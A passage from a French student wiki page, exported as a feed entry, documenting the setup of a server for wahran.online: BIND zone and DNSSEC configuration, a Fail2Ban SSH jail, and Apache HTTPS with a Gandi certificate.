; Enregistrements des serveurs de noms&lt;br /&gt;
@	IN	NS	ns.wahran.online.&lt;br /&gt;
@	IN	NS	ns2.alloco.online.&lt;br /&gt;
&lt;br /&gt;
; Enregistrements AAAA (IPv6)&lt;br /&gt;
ns	IN AAAA		2001:660:4401:60a0:216:3eff:fe32:8fa2&lt;br /&gt;
&lt;br /&gt;
: Enregistrements A (IPv4)&lt;br /&gt;
ns	IN A		193.48.57.164&lt;br /&gt;
&lt;br /&gt;
; Enregistrements CNAME&lt;br /&gt;
www	IN CNAME	wahran.online&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On charge la version du fichier de zone avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:/etc/bind/wahran.online# named-checkzone wahran.zone wahran.zone &lt;br /&gt;
zone wahran.zone/IN: loaded serial 3601&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérifications==&lt;br /&gt;
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :&lt;br /&gt;
&lt;br /&gt;
named-checkzone &amp;lt;nom du fichier&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker. Comme le montre cet capture d'écran, la propagation est bien effective dans la zone de Lille avec une adresse IPv6 :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DNS_Lille.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=DNSSEC=&lt;br /&gt;
&lt;br /&gt;
==Configuration de la méthode automatique==&lt;br /&gt;
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Génération des clés==&lt;br /&gt;
ensuite nous créeons le répertoire qui va acceuillir nos clés:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir -p /etc/bind/keys&lt;br /&gt;
chown bind:bind /etc/bind/keys&lt;br /&gt;
chmod 700 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
et nous redémarrons le service :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# ls /etc/bind/keys&lt;br /&gt;
Kwahran.online.+013+17231.key	   Kwahran.online.+013+62188.key&lt;br /&gt;
Kwahran.online.+013+17231.private  Kwahran.online.+013+62188.private&lt;br /&gt;
Kwahran.online.+013+17231.state    Kwahran.online.+013+62188.state&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant verifier sur le site &amp;quot;DNSViz&amp;quot; le DNS de ns.wahran.online, pour l'instant le site indique une erreur : wahran.online zone: The server(s) were not responsive to queries over UDP.&lt;br /&gt;
&lt;br /&gt;
J'essaye de regler cela.&lt;br /&gt;
&lt;br /&gt;
=Fail2Ban=&lt;br /&gt;
Nous pouvons implémenter une fonctionnalité pour sécuriser notre VM : bannir une IP après plusieurs tentative de connexions ssh raté.&lt;br /&gt;
dans /etc/fail2ban/jail.local nous ajoutons ces options:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[sshd]&lt;br /&gt;
enable	= true&lt;br /&gt;
port    = ssh&lt;br /&gt;
filter	= sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime  = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après 5 tentative de ssh échouée, l'IP en question sera banni 10 minutes:&lt;br /&gt;
&lt;br /&gt;
=HTTPS=&lt;br /&gt;
==Installation d'Apache2==&lt;br /&gt;
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
aptitude install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Activation du port HTTPS==&lt;br /&gt;
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/ports.conf&lt;br /&gt;
# Port HTTP classique&lt;br /&gt;
Listen 80&lt;br /&gt;
&lt;br /&gt;
# Port HTTPS&lt;br /&gt;
&amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du certificat SSL==&lt;br /&gt;
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/ssl/certs/wahran.online.crt : Certificat SSL&lt;br /&gt;
/etc/ssl/private/myserver.key : Clé privée&lt;br /&gt;
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du domaine sécurisé==&lt;br /&gt;
J'ai créé un fichier de configuration spécifique pour mon domaine (wahran.online) dans le répertoire `/etc/apache2/sites-available/000-wahran.online-ssl.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/sites-available/000-wahran.online-ssl.conf &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        Redirect permanent / https://ns.wahran.online/  &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        ServerAlias wahran.online&lt;br /&gt;
        DocumentRoot /var/www/wahran.online/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
&lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/wahran.online.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/private/myserver.key&lt;br /&gt;
        SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
        SSLProxyEngine on&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
lorsque l'on se rend sur h, nous somme redirigé vers .&lt;br /&gt;
&lt;br /&gt;
==Configuration DNS avec DNSSEC==&lt;br /&gt;
Pour la gestion des DNS de mon domaine, j'ai configuré le fichier `/etc/bind/named.conf.local` pour ajouter la zone DNS de `wahran.online` avec une politique DNSSEC, ce qui renforce la sécurité de la gestion de mes enregistrements DNS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/bind/named.conf.local&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02; //IPv6 Proxy&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
masters &amp;quot;hiddensecondaries&amp;quot;{&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;alloco.online&amp;quot;{&lt;br /&gt;
	type slave;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/alloco.online&amp;quot;;&lt;br /&gt;
	masters{2001:660:4401:60a0:216:3eff:fe81:abfe;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérification du certificat SSL==&lt;br /&gt;
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
c_rehash /etc/ssl/certs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
</feed>